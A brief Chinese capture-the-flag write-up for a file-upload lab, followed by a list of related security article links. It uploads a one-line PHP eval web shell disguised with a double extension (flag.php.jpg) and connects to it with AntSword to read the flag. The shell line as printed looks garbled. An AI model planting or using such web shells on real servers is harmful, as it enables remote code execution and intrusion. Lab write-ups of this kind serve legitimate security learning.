题目
1.打开靶机
随便上传一个图片，查看get请求发现**/upload/XXX.jpg**
2.创建一个脚本文件
命名为flag.php.jpg,并上传
脚本文件内容：
<?php @eval($_POST1234)?>
3上传后复制文件get请求的链接并打开蚁剑
连接密码为123
双击链接
4，查找'/'在最下面找到flag文件
5，打开文件得到flag
相关推荐
TechWayfarer3 小时前
PHP漏洞被利用，怎么揪出攻击IP？终端安全笔记4 小时前
一份配置管十项 AI 功能：它关的是入口，不是数据学逆向的5 小时前
C 多文件开发学逆向的5 小时前
C 内存属性万联WANFLOW6 小时前
让分散的设备像在同一张局域网里：企业组网技术解析2501_915106329 小时前
跨平台抓包工具怎么选？TraceEagle抓包鹰 的四种跨平台能力愤怒火龙果10 小时前
蓝队笔记整理04 安全设备、内网处置与云上防护持敬chijing13 小时前
系统入侵与攻击工具-namp扫描方式与内置脚本Bruce_Liuxiaowei14 小时前
2026年10月第4周网络安全形势周报特别关注外国供应商14 小时前
Claroty Claire：OT 环境中的 AI 驱动型网络安全